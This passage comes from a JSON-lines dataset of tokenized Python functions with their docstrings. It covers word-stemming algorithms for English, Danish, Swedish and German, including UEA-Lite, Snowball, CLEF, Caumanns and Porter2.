word[:-<NUM_LIT:1>]<EOL><DEDENT>stemmed_word = stemmed_word.replace(\"<STR_LIT>\", '<STR_LIT>')<EOL>stemmed_word = stemmed_word.replace(\"<STR_LIT>\", '<STR_LIT>')<EOL>stemmed_word = stemmed_word.replace(\"<STR_LIT>\", '<STR_LIT>')<EOL>stemmed_word = stemmed_word.replace(\"<STR_LIT>\", '<STR_LIT>')<EOL>return stemmed_word, <NUM_LIT><EOL><DEDENT>if word.isdigit():<EOL><INDENT>return word, <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>hyphen = word.find('<STR_LIT:->')<EOL>if len(word) > hyphen > <NUM_LIT:0>:<EOL><INDENT>if (<EOL>word[:hyphen].isalpha()<EOL>and word[hyphen + <NUM_LIT:1> :].isalpha()<EOL>):<EOL><INDENT>return word, <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>return word, <NUM_LIT><EOL><DEDENT><DEDENT>elif '<STR_LIT:_>' in word:<EOL><INDENT>return word, <NUM_LIT><EOL><DEDENT>elif word[-<NUM_LIT:1>] == '<STR_LIT:s>' and word[:-<NUM_LIT:1>].isupper():<EOL><INDENT>if var == '<STR_LIT>' and len(word) - <NUM_LIT:1> > max_acro_length:<EOL><INDENT>return word, <NUM_LIT><EOL><DEDENT>return word[:-<NUM_LIT:1>], <NUM_LIT><EOL><DEDENT>elif word.isupper():<EOL><INDENT>if var == '<STR_LIT>' and len(word) > max_acro_length:<EOL><INDENT>return word, <NUM_LIT><EOL><DEDENT>return word, <NUM_LIT><EOL><DEDENT>elif re_match(r'<STR_LIT>', word):<EOL><INDENT>return word, <NUM_LIT><EOL><DEDENT>elif word[<NUM_LIT:0>].isupper():<EOL><INDENT>return word, <NUM_LIT><EOL><DEDENT>elif var == '<STR_LIT>' and re_match(<EOL>r'<STR_LIT>', word<EOL>):<EOL><INDENT>return word, <NUM_LIT><EOL><DEDENT><DEDENT>for n in range(<NUM_LIT:7>, <NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>if word[-n:] in self._rules[var][n]:<EOL><INDENT>rule_no, del_len, add_str = self._rules[var][n][word[-n:]]<EOL>if del_len:<EOL><INDENT>stemmed_word = word[:-del_len]<EOL><DEDENT>else:<EOL><INDENT>stemmed_word = word<EOL><DEDENT>if add_str:<EOL><INDENT>stemmed_word += add_str<EOL><DEDENT>break<EOL><DEDENT><DEDENT>if not rule_no:<EOL><INDENT>if re_match(r'<STR_LIT>', word):  <EOL><INDENT>stemmed_word = _stem_with_duplicate_character_check(<EOL>word, <NUM_LIT:3><EOL>)<EOL>rule_no = <NUM_LIT><EOL><DEDENT>elif re_match(r'<STR_LIT>', word):  <EOL><INDENT>stemmed_word = _stem_with_duplicate_character_check(<EOL>word, <NUM_LIT:2><EOL>)<EOL>rule_no = <NUM_LIT><EOL><DEDENT>elif word[-<NUM_LIT:1>] == '<STR_LIT:s>':  <EOL><INDENT>stemmed_word = word[:-<NUM_LIT:1>]<EOL>rule_no = <NUM_LIT><EOL><DEDENT><DEDENT>return stemmed_word, rule_no<EOL><DEDENT>stem, rule_no = _stem(word)<EOL>if return_rule_no:<EOL><INDENT>return stem, rule_no<EOL><DEDENT>return stem<EOL>", "docstring": "Return UEA-Lite stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n        max_word_length : int\n            The maximum word length allowed\n        max_acro_length : int\n            The maximum acronym length allowed\n        return_rule_no : bool\n            If True, returns the stem along with rule number\n        var : str\n            Variant rules to use:\n\n                - ``Adams`` to use Jason Adams' rules\n                - ``Perl`` to use the original Perl rules\n\n        Returns\n        -------\n        str or (str, int)\n            Word stem\n\n        Examples\n        --------\n        >>> uealite('readings')\n        'read'\n        >>> uealite('insulted')\n        'insult'\n        >>> uealite('cussed')\n        'cuss'\n        >>> uealite('fancies')\n        'fancy'\n        >>> uealite('eroded')\n        'erode'", "id": "f6551:c0:m0"}
{"signature": "def sb_danish(word):", "body": "return SnowballDanish().stem(word)<EOL>", "docstring": "Return Snowball Danish stem.\n\n    This is a wrapper for :py:meth:`SnowballDanish.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n\n    Returns\n    -------\n    str\n        Word stem\n\n    Examples\n    --------\n    >>> sb_danish('underviser')\n    'undervis'\n    >>> sb_danish('suspension')\n    'suspension'\n    >>> sb_danish('sikkerhed')\n    'sikker'", "id": "f6552:m0"}
{"signature": "def stem(self, word):", "body": "<EOL>word = normalize('<STR_LIT>', text_type(word.lower()))<EOL>r1_start = min(max(<NUM_LIT:3>, self._sb_r1(word)), len(word))<EOL>_r1 = word[r1_start:]<EOL>if _r1[-<NUM_LIT:7>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:7>]<EOL><DEDENT>elif _r1[-<NUM_LIT:6>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:6>]<EOL><DEDENT>elif _r1[-<NUM_LIT:5>:] in {<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>}:<EOL><INDENT>word = word[:-<NUM_LIT:5>]<EOL><DEDENT>elif _r1[-<NUM_LIT:4>:] in {<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>}:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL><DEDENT>elif _r1[-<NUM_LIT:3>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT>elif _r1[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>elif _r1[-<NUM_LIT:1>:] == '<STR_LIT:e>':<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>elif _r1[-<NUM_LIT:1>:] == '<STR_LIT:s>':<EOL><INDENT>if len(word) > <NUM_LIT:1> and word[-<NUM_LIT:2>] in self._s_endings:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if word[r1_start:][-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>if word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>_r1 = word[r1_start:]<EOL>repeat_step2 = False<EOL>if _r1[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL>repeat_step2 = True<EOL><DEDENT>elif _r1[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>elif _r1[-<NUM_LIT:3>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL>repeat_step2 = True<EOL><DEDENT>elif _r1[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL>repeat_step2 = True<EOL><DEDENT>if repeat_step2:<EOL><INDENT>if word[r1_start:][-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if (<EOL>len(word[r1_start:]) >= <NUM_LIT:1><EOL>and len(word) >= <NUM_LIT:2><EOL>and word[-<NUM_LIT:1>] == word[-<NUM_LIT:2>]<EOL>and word[-<NUM_LIT:1>] not in self._vowels<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>return word<EOL>", "docstring": "Return Snowball Danish stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> stmr = SnowballDanish()\n        >>> stmr.stem('underviser')\n        'undervis'\n        >>> stmr.stem('suspension')\n        'suspension'\n        >>> stmr.stem('sikkerhed')\n        'sikker'", "id": "f6552:c0:m0"}
{"signature": "def clef_swedish(word):", "body": "return CLEFSwedish().stem(word)<EOL>", "docstring": "Return CLEF Swedish stem.\n\n    This is a wrapper for :py:meth:`CLEFSwedish.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n\n    Returns\n    -------\n    str\n        Word stem\n\n    Examples\n    --------\n    >>> clef_swedish('undervisa')\n    'undervis'\n    >>> clef_swedish('suspension')\n    'suspensio'\n    >>> clef_swedish('visshet')\n    'viss'", "id": "f6553:m0"}
{"signature": "def stem(self, word):", "body": "wlen = len(word) - <NUM_LIT:2><EOL>if wlen > <NUM_LIT:2> and word[-<NUM_LIT:1>] == '<STR_LIT:s>':<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL>wlen -= <NUM_LIT:1><EOL><DEDENT>_endings = {<EOL><NUM_LIT:5>: {'<STR_LIT>', '<STR_LIT>'},<EOL><NUM_LIT:4>: {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'},<EOL><NUM_LIT:3>: {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'},<EOL><NUM_LIT:2>: {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'},<EOL><NUM_LIT:1>: {'<STR_LIT:a>', '<STR_LIT:e>', '<STR_LIT:n>', '<STR_LIT:t>'},<EOL>}<EOL>for end_len in range(<NUM_LIT:5>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>if wlen > end_len and word[-end_len:] in _endings[end_len]:<EOL><INDENT>return word[:-end_len]<EOL><DEDENT><DEDENT>return word<EOL>", "docstring": "Return CLEF Swedish stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> clef_swedish('undervisa')\n        'undervis'\n        >>> clef_swedish('suspension')\n        'suspensio'\n        >>> clef_swedish('visshet')\n        'viss'", "id": "f6553:c0:m0"}
{"signature": "def caumanns(word):", "body": "return Caumanns().stem(word)<EOL>", "docstring": "Return Caumanns German stem.\n\n    This is a wrapper for :py:meth:`Caumanns.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n\n    Returns\n    -------\n    str\n        Word stem\n\n    Examples\n    --------\n    >>> caumanns('lesen')\n    'les'\n    >>> caumanns('graues')\n    'grau'\n    >>> caumanns('buchstabieren')\n    'buchstabier'", "id": "f6554:m0"}
{"signature": "def stem(self, word):", "body": "if not word:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>upper_initial = word[<NUM_LIT:0>].isupper()<EOL>word = normalize('<STR_LIT>', text_type(word.lower()))<EOL>word = word.translate(self._umlauts)<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>new_word = word[<NUM_LIT:0>]<EOL>for i in range(<NUM_LIT:1>, len(word)):<EOL><INDENT>if new_word[i - <NUM_LIT:1>] == word[i]:<EOL><INDENT>new_word += '<STR_LIT:*>'<EOL><DEDENT>else:<EOL><INDENT>new_word += word[i]<EOL><DEDENT><DEDENT>word = new_word<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:$>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:%>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:&>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:#>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:!>')<EOL>while len(word) > <NUM_LIT:3>:<EOL><INDENT>if (len(word) > <NUM_LIT:4> and word[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>'}) or (<EOL>len(word) > <NUM_LIT:5> and word[-<NUM_LIT:2>:] == '<STR_LIT>'<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>elif (word[-<NUM_LIT:1>] in {'<STR_LIT:e>', '<STR_LIT:s>', '<STR_LIT:n>'}) or (<EOL>not upper_initial and word[-<NUM_LIT:1>] in {'<STR_LIT:t>', '<STR_LIT:!>'}<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if len(word) > <NUM_LIT:5> and word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>if word[-<NUM_LIT:1>] == '<STR_LIT:z>':<EOL><INDENT>word = word[:-<NUM_LIT:1>] + '<STR_LIT:x>'<EOL><DEDENT>word = word.replace('<STR_LIT:$>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT:%>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT:&>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT:#>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT:!>', '<STR_LIT>')<EOL>word = '<STR_LIT>'.join(<EOL>[word[<NUM_LIT:0>]]<EOL>+ [<EOL>word[i - <NUM_LIT:1>] if word[i] == '<STR_LIT:*>' else word[i]<EOL>for i in range(<NUM_LIT:1>, len(word))<EOL>]<EOL>)<EOL>if len(word) > <NUM_LIT:4>:<EOL><INDENT>word = word.replace('<STR_LIT>', '<STR_LIT>', <NUM_LIT:1>)<EOL><DEDENT>return word<EOL>", "docstring": "Return Caumanns German stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> stmr = Caumanns()\n        >>> stmr.stem('lesen')\n        'les'\n        >>> stmr.stem('graues')\n        'grau'\n        >>> stmr.stem('buchstabieren')\n        'buchstabier'", "id": "f6554:c0:m0"}
{"signature": "def clef_german(word):", "body": "return CLEFGerman().stem(word)<EOL>", "docstring": "Return CLEF German stem.\n\n    This is a wrapper for :py:meth:`CLEFGerman.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n\n    Returns\n    -------\n    str\n        Word stem\n\n    Examples\n    --------\n    >>> clef_german('lesen')\n    'lese'\n    >>> clef_german('graues')\n    'grau'\n    >>> clef_german('buchstabieren')\n    'buchstabier'", "id": "f6555:m0"}
{"signature": "def stem(self, word):", "body": "<EOL>word = normalize('<STR_LIT>', text_type(word.lower()))<EOL>word = word.translate(self._umlauts)<EOL>wlen = len(word) - <NUM_LIT:1><EOL>if wlen > <NUM_LIT:3>:<EOL><INDENT>if wlen > <NUM_LIT:5>:<EOL><INDENT>if word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>return word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>if wlen > <NUM_LIT:4>:<EOL><INDENT>if word[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>return word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>if word[-<NUM_LIT:1>] in {'<STR_LIT:e>', '<STR_LIT:n>', '<STR_LIT:r>', '<STR_LIT:s>'}:<EOL><INDENT>return word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>return word<EOL>", "docstring": "Return CLEF German stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> stmr = CLEFGerman()\n        >>> stmr.stem('lesen')\n        'lese'\n        >>> stmr.stem('graues')\n        'grau'\n        >>> stmr.stem('buchstabieren')\n        'buchstabier'", "id": "f6555:c0:m0"}
{"signature": "def porter2(word, early_english=False):", "body": "return Porter2().stem(word, early_english)<EOL>", "docstring": "Return the Porter2 (Snowball English) stem.\n\n    This is a wrapper for :py:meth:`Porter2.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n    early_english : bool\n        Set to True in order to remove -eth & -est (2nd & 3rd person singular\n        verbal agreement suffixes)\n\n    Returns\n    -------\n    str\n        Word stem\n\n    Examples\n    --------\n    >>> porter2('reading')\n    'read'\n    >>> porter2('suspension')\n    'suspens'\n    >>> porter2('elusiveness')\n    'elus'\n\n    >>> porter2('eateth', early_english=True)\n    'eat'", "id": "f6556:m0"}
{"signature": "def stem(self, word, early_english=False):", "body": "<EOL>word = normalize('<STR_LIT>', text_type(word.lower()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>if word in self._exception1dict:<EOL><INDENT>return self._exception1dict[word]<EOL><DEDENT>elif word in self._exception1set:<EOL><INDENT>return word<EOL><DEDENT>if len(word) < <NUM_LIT:3>:<EOL><INDENT>return word<EOL><DEDENT>while word and word[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>word = word[<NUM_LIT:1>:]<EOL>if len(word) < <NUM_LIT:2>:<EOL><INDENT>return word<EOL><DEDENT><DEDENT>if word[<NUM_LIT:0>] == '<STR_LIT:y>':<EOL><INDENT>word = '<STR_LIT:Y>' + word[<NUM_LIT:1>:]<EOL><DEDENT>for i in range(<NUM_LIT:1>, len(word)):<EOL><INDENT>if word[i] == '<STR_LIT:y>' and word[i - <NUM_LIT:1>] in self._vowels:<EOL><INDENT>word = word[:i] + '<STR_LIT:Y>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT><DEDENT>r1_start = self._sb_r1(word, self._r1_prefixes)<EOL>r2_start = self._sb_r2(word, self._r1_prefixes)<EOL>if word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>elif word[-<NUM_LIT:1>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>if len(word) < <NUM_LIT:3>:<EOL><INDENT>return word<EOL><DEDENT>if word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>elif word[-<NUM_LIT:3>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if len(word) > <NUM_LIT:4>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>else:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>pass<EOL><DEDENT>elif word[-<NUM_LIT:1>] == '<STR_LIT:s>':<EOL><INDENT>if self._sb_has_vowel(word[:-<NUM_LIT:2>]):<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if word in self._exception2set:<EOL><INDENT>return word<EOL><DEDENT>step1b_flag = False<EOL>if word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:5>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if self._sb_has_vowel(word[:-<NUM_LIT:5>]):<EOL><INDENT>word = word[:-<NUM_LIT:5>]<EOL>step1b_flag = True<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if self._sb_has_vowel(word[:-<NUM_LIT:4>]):<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL>step1b_flag = True<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:3>:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if self._sb_has_vowel(word[:-<NUM_LIT:3>]):<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL>step1b_flag = True<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if self._sb_has_vowel(word[:-<NUM_LIT:2>]):<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL>step1b_flag = True<EOL><DEDENT><DEDENT>elif early_english:<EOL><INDENT>if word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if self._sb_has_vowel(word[:-<NUM_LIT:3>]):<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL>step1b_flag = True<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if self._sb_has_vowel(word[:-<NUM_LIT:3>]):<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL>step1b_flag = True<EOL><DEDENT><DEDENT><DEDENT>if step1b_flag:<EOL><INDENT>if word[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word += '<STR_LIT:e>'<EOL><DEDENT>elif word[-<NUM_LIT:2>:] in self._doubles:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>elif self._sb_short_word(word, self._r1_prefixes):<EOL><INDENT>word += '<STR_LIT:e>'<EOL><DEDENT><DEDENT>if (<EOL>len(word) > <NUM_LIT:2><EOL>and word[-<NUM_LIT:1>] in {'<STR_LIT:Y>', '<STR_LIT:y>'}<EOL>and word[-<NUM_LIT:2>] not in self._vowels<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:1>] + '<STR_LIT:i>'<EOL><DEDENT>if word[-<NUM_LIT:2>] == '<STR_LIT:a>':<EOL><INDENT>if word[-<NUM_LIT:7>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:7>:<EOL><INDENT>word = word[:-<NUM_LIT:5>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:6>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:6>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>] == '<STR_LIT:c>':<EOL><INDENT>if word[-<NUM_LIT:4>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:4>:<EOL><INDENT>word = word[:-<NUM_LIT:1>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>] == '<STR_LIT:e>':<EOL><INDENT>if word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:4>:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>] == '<STR_LIT:g>':<EOL><INDENT>if word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if (<EOL>r1_start >= <NUM_LIT:1><EOL>and len(word[r1_start:]) >= <NUM_LIT:3><EOL>and word[-<NUM_LIT:4>] == '<STR_LIT:l>'<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>] == '<STR_LIT:l>':<EOL><INDENT>if word[-<NUM_LIT:6>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:6>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:5>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:4>:<EOL><INDENT>word = word[:-<NUM_LIT:1>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:4>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:3>:<EOL><INDENT>word = word[:-<NUM_LIT:1>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if (<EOL>r1_start >= <NUM_LIT:1><EOL>and len(word[r1_start:]) >= <NUM_LIT:2><EOL>and word[-<NUM_LIT:3>] in self._li<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>] == '<STR_LIT:o>':<EOL><INDENT>if word[-<NUM_LIT:7>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:7>:<EOL><INDENT>word = word[:-<NUM_LIT:5>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:5>:<EOL><INDENT>word = word[:-<NUM_LIT:3>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:4>:<EOL><INDENT>word = word[:-<NUM_LIT:2>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>] == '<STR_LIT:s>':<EOL><INDENT>if word[-<NUM_LIT:7>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:7>:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:5>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>] == '<STR_LIT:t>':<EOL><INDENT>if word[-<NUM_LIT:6>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:6>:<EOL><INDENT>word = word[:-<NUM_LIT:5>] + '<STR_LIT>'<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:5>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:5>:<EOL><INDENT>word = word[:-<NUM_LIT:3>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT><DEDENT>if word[-<NUM_LIT:7>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:7>:<EOL><INDENT>word = word[:-<NUM_LIT:5>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:6>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:6>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:5>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r2_start:]) >= <NUM_LIT:5>:<EOL><INDENT>word = word[:-<NUM_LIT:5>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:4>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:4>:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:3>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>for suffix in 